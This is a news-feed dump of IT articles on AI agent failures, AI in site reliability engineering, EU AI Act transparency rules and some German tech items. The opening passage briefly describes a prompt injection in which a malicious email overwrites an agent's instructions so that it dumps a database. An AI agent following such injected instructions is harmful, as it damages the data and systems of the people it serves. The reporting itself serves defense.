<h2 class="wp-block-heading">Confidence isn’t reality</h2>



<p class="wp-block-paragraph">The survey’s results make sense to <a href="https://www.linkedin.com/in/brinkleyjoseph/">Joe Brinkley</a>, director of offensive security research and community at pentest firm Cobalt. The high confidence in detecting malfunctions is compliance paperwork, whereas the minority of respondents who can detect problems quickly is the reality on the ground, he says.</p>



<p class="wp-block-paragraph">“Tracing agent impact fast is brutal,” Brinkley says. “These systems do not run on fixed code paths. They use nondeterministic reasoning across a web of different APIs. Traditional logs only catch isolated events. They completely miss the full execution chain.”</p>



<p class="wp-block-paragraph">By the time an anomaly alert hits, an agent has already executed multiple downstream actions, he adds.</p>



<p class="wp-block-paragraph">In some cases, agent malfunctions are related to data flow vulnerabilities, such as when a prompt injection from an untrusted input such as a malicious email overwrites the system instructions, he says.</p>



<p class="wp-block-paragraph">“We need to be clear about the actual technology; the AI is not waking up angry,” Brinkley says. “The agent suddenly thinks its official job is to dump your database. It spends tokens as fast as possible to do that.”</p>



<p class="wp-block-paragraph">Agents are also vulnerable to loop failures, when they hit API errors and try to self-correct, he adds.</p>



<p class="wp-block-paragraph">“It hits that same broken endpoint 10,000 times in two minutes,” he says. “It drains your budget and causes a self-inflicted denial of service. It is an automated wrecking ball moving faster than your monitoring can log it.”</p>



<p class="wp-block-paragraph">Brinkley recommends that IT leaders put “hard kill” switches at the API layer to stop agents going out of scope.</p>



<p class="wp-block-paragraph">“You can stop it, but soft guardrails are useless,” he says. “Do not try to patch the prompt or filter the text. You have to treat the agent like a compromised user account. Pull the OAuth tokens and kill the access immediately.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pulsar Feinmann F01 Noctua Edition: „Atmende“ Lochmaus kühlt die Hand mit Edel-Lüfter]]></title>
<description><![CDATA[Was passiert, wenn ein Kühlerspezialist mit einem Peripheriehersteller kooperiert, zeigt die „Noctua Edition“ der Pulsar Feinmann F01. Die Spielemaus trägt nicht nur die braun-beigen Farben des österreichischen Unternehmens, sie nutzt auch einen Lüfter aus dessen Produktpalette. So soll sie „atme...]]></description>
<link>https://tsecurity.de/de/3683191/it-nachrichten/pulsar-feinmann-f01-noctua-edition-atmende-lochmaus-kuehlt-die-hand-mit-edel-luefter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683191/it-nachrichten/pulsar-feinmann-f01-noctua-edition-atmende-lochmaus-kuehlt-die-hand-mit-edel-luefter/</guid>
<pubDate>Tue, 21 Jul 2026 11:33:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/8/8/7-0bae2d70ff90e025/article-640x360.7852663c.jpg"><p>Was passiert, wenn ein Kühlerspezialist mit einem Peripheriehersteller kooperiert, zeigt die „Noctua Edition“ der Pulsar Feinmann F01. Die Spielemaus trägt nicht nur die braun-beigen Farben des österreichischen Unternehmens, sie nutzt auch einen Lüfter aus dessen Produktpalette. So soll sie „atmen“ und die Hand kühlen.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI impacts site reliability engineering]]></title>
<description><![CDATA[Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robus...]]></description>
<link>https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.</p>



<p class="wp-block-paragraph">Google introduced its <a href="https://sre.google/sre-book/part-I-introduction/">SRE playbook</a> in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3689881/career-paths-for-devops-engineers-and-sres.html">SRE is a career path</a> for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is <a href="https://drive.starcio.com/2025/02/emerging-genai-roles-hr-tech-security/">a growing role in the genAI era</a> as more businesses <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">deploy AI agents</a>.</p>



<p class="wp-block-paragraph">But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the <a href="https://neubird.ai/resources/state-of-production-reliability-and-ai-adoption/">2026 State of Production Reliability and AI Adoption report</a>, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.</p>



<p class="wp-block-paragraph">So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.</p>



<h2 class="wp-block-heading">AIops and agentic ops aid SREs</h2>



<p class="wp-block-paragraph">Over the past decade, SRE responsibilities have become somewhat easier through improvements in <a href="https://www.infoworld.com/article/2263821/5-devops-practices-to-improve-application-reliability.html">monitoring platforms</a>, <a href="https://www.infoworld.com/article/3686056/best-practices-for-devops-observability.html">observability practices</a>, <a href="https://www.infoworld.com/article/2261769/what-is-the-ai-in-aiops.html">tools for centralizing operational data</a>, and <a href="https://drive.starcio.com/2022/01/aiops-cio/">AI applied in IT operations</a> (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.</p>



<p class="wp-block-paragraph">According to the <a href="https://komodor.com/resources/komodor-2025-enterprise-kubernetes-report/">Komodore 2025 Enterprise Kubernetes Report</a>, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.</p>



<p class="wp-block-paragraph">“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at <a href="https://komodor.com/">Komodor</a>. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2022/05/aiops-ml-multicloud/">AIops</a> is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to <a href="https://drive.starcio.com/2021/11/p1-incidents-long-resolution-times/">reduce the mean time to resolve incidents</a> and to perform accurate <a href="https://drive.starcio.com/2021/12/kpi-agile-devops-itops/">root cause analysis</a> (RCA) efficiently. <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">Agentic ops</a> is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.</p>



<p class="wp-block-paragraph"> “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at <a href="https://openobserve.ai/">OpenObserve</a>. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”</p>



<h2 class="wp-block-heading">AI’s impact on people and burnout</h2>



<p class="wp-block-paragraph">The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to <a href="https://www.catchpoint.com/learn/sre-report-2025">The SRE Report 2025</a> from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.</p>



<p class="wp-block-paragraph">“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at <a href="https://www.groundcover.com/">Groundcover</a>. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”</p>



<p class="wp-block-paragraph">Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EDB Postgres AI</a>, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”</p>



<p class="wp-block-paragraph">AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “<a href="https://drive.starcio.com/2021/04/it-digital-operations-aiops/">war rooms</a>” to coordinate root cause analyses.</p>



<p class="wp-block-paragraph">“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of <a href="https://resolve.ai/">Resolve AI</a>. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” </p>



<h2 class="wp-block-heading">AI agent reliability</h2>



<p class="wp-block-paragraph">While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code generators</a>, <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development</a> is adding to their workloads. <a href="https://www.braiviq.com/blog/vibe-coding-ai-development-2026-cursor-copilot-claude-code">According to one study</a>, 41% of all global code is now AI-generated, and <a href="https://www.hostinger.com/blog/vibe-coding-statistics">Gartner predicts</a> that 40% of new enterprise production software will be created using vibe coding techniques by 2028.</p>



<p class="wp-block-paragraph">But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, <a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report">according to CodeRabbit</a>. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at <a href="https://neubird.ai/">NeuBird AI</a>. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”</p>



<p class="wp-block-paragraph">The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">Model Context Protocol servers</a> to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. </p>



<p class="wp-block-paragraph">“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at <a href="https://www.sandboxaq.com/">SandboxAQ</a>. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”</p>



<p class="wp-block-paragraph">“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at <a href="https://ciroos.ai/">Ciroos</a>. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”</p>



<p class="wp-block-paragraph">SREs should take a leadership role in emerging best practices, including defining their standards for AI agent <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional acceptance criteria</a>, <a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">observability practices</a>, and <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">release-readiness criteria</a>. SREs should update their <a href="https://www.infoworld.com/article/3684268/tools-to-manage-slos-and-error-budgets.html">service-level objectives</a> (SLOs) and define error budgets for AI agents in production.</p>



<p class="wp-block-paragraph">Ryan Downing, vice president and CIO of enterprise business solutions at <a href="https://www.principal.com/">Principal Financial Group</a>, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”</p>



<h2 class="wp-block-heading">AI raises the SRE’s business impact</h2>



<p class="wp-block-paragraph">The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">rogue AI agents</a> and the impacts of <a href="https://www.infoworld.com/article/4040513/how-to-avoid-the-risks-of-rapidly-deploying-ai-agents.html">rapidly deploying new agentic capabilities</a>. </p>



<p class="wp-block-paragraph">“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at <a href="https://www.smarsh.com/">Smarsh</a>. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”</p>



<p class="wp-block-paragraph">The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Xiaomi verteilt Android 17 für die 15T Pro, 17T (Pro) und Xiaomi 17]]></title>
<description><![CDATA[Xiaomi hat ohne große Ankündigungen damit begonnen, Android 17 für mehrere Smartphones zu verteilen. Mit dabei sind nach aktuellem Kenntnisstand die Xiaomi 17T (Pro), das Xiaomi 17 sowie auch das Xiaomi 15T Pro. Letzteres kann ich aus erster Hand bestätigen,...Zum Beitrag: Xiaomi verteilt Android...]]></description>
<link>https://tsecurity.de/de/3683067/it-nachrichten/xiaomi-verteilt-android-17-fuer-die-15t-pro-17t-pro-und-xiaomi-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683067/it-nachrichten/xiaomi-verteilt-android-17-fuer-die-15t-pro-17t-pro-und-xiaomi-17/</guid>
<pubDate>Tue, 21 Jul 2026 10:48:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Xiaomi hat ohne große Ankündigungen damit begonnen, Android 17 für mehrere Smartphones zu verteilen. Mit dabei sind nach aktuellem Kenntnisstand die Xiaomi 17T (Pro), das Xiaomi 17 sowie auch das Xiaomi 15T Pro. Letzteres kann ich aus erster Hand bestätigen,...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/xiaomi-verteilt-android-17-fuer-das-15t-pro-17t-pro-und-xiaomi-17/">Xiaomi verteilt Android 17 für die 15T Pro, 17T (Pro) und Xiaomi 17</a>
</p><p>
Wo du uns folgen kannst:
<a href="http://www.facebook.com/CaschysBlog">Facebook</a>, <a href="https://www.reddit.com/r/CaschysBlog/">Reddit</a>, <a href="https://news.google.com/publications/CAAqMQgKIitDQklTR2dnTWFoWUtGSE4wWVdSMExXSnlaVzFsY21oaGRtVnVMbVJsS0FBUAE?ceid=DE:de&amp;oc=3">Google News</a>, <a href="https://x.com/CaschysBlog">X</a>, <a href="https://www.threads.com/@caschysblog">Threads</a>
<br>
</p><div>
    <strong>Auf dem Laufenden bleiben?</strong>
    <br>
    <a href="https://www.google.com/preferences/source?q=stadt-bremerhaven.de">Fügt uns doch bei Google als bevorzugte Quelle hinzu!</a>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[heise+ | Spulenwickelmaschine mit Arduino bauen]]></title>
<description><![CDATA[Spulen von Hand zu wickeln kostet Zeit und Nerven. Diese Arduino-gesteuerte Wickelmaschine übernimmt die Arbeit automatisch, präzise und für unter 100 Euro.]]></description>
<link>https://tsecurity.de/de/3682872/it-nachrichten/heise-spulenwickelmaschine-mit-arduino-bauen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682872/it-nachrichten/heise-spulenwickelmaschine-mit-arduino-bauen/</guid>
<pubDate>Tue, 21 Jul 2026 09:02:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Spulen von Hand zu wickeln kostet Zeit und Nerven. Diese Arduino-gesteuerte Wickelmaschine übernimmt die Arbeit automatisch, präzise und für unter 100 Euro.]]></content:encoded>
</item>
<item>
<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</guid>
<pubDate>Tue, 21 Jul 2026 04:02:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199109/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready.html" target="_blank">CIO.com</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</guid>
<pubDate>Tue, 21 Jul 2026 03:48:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



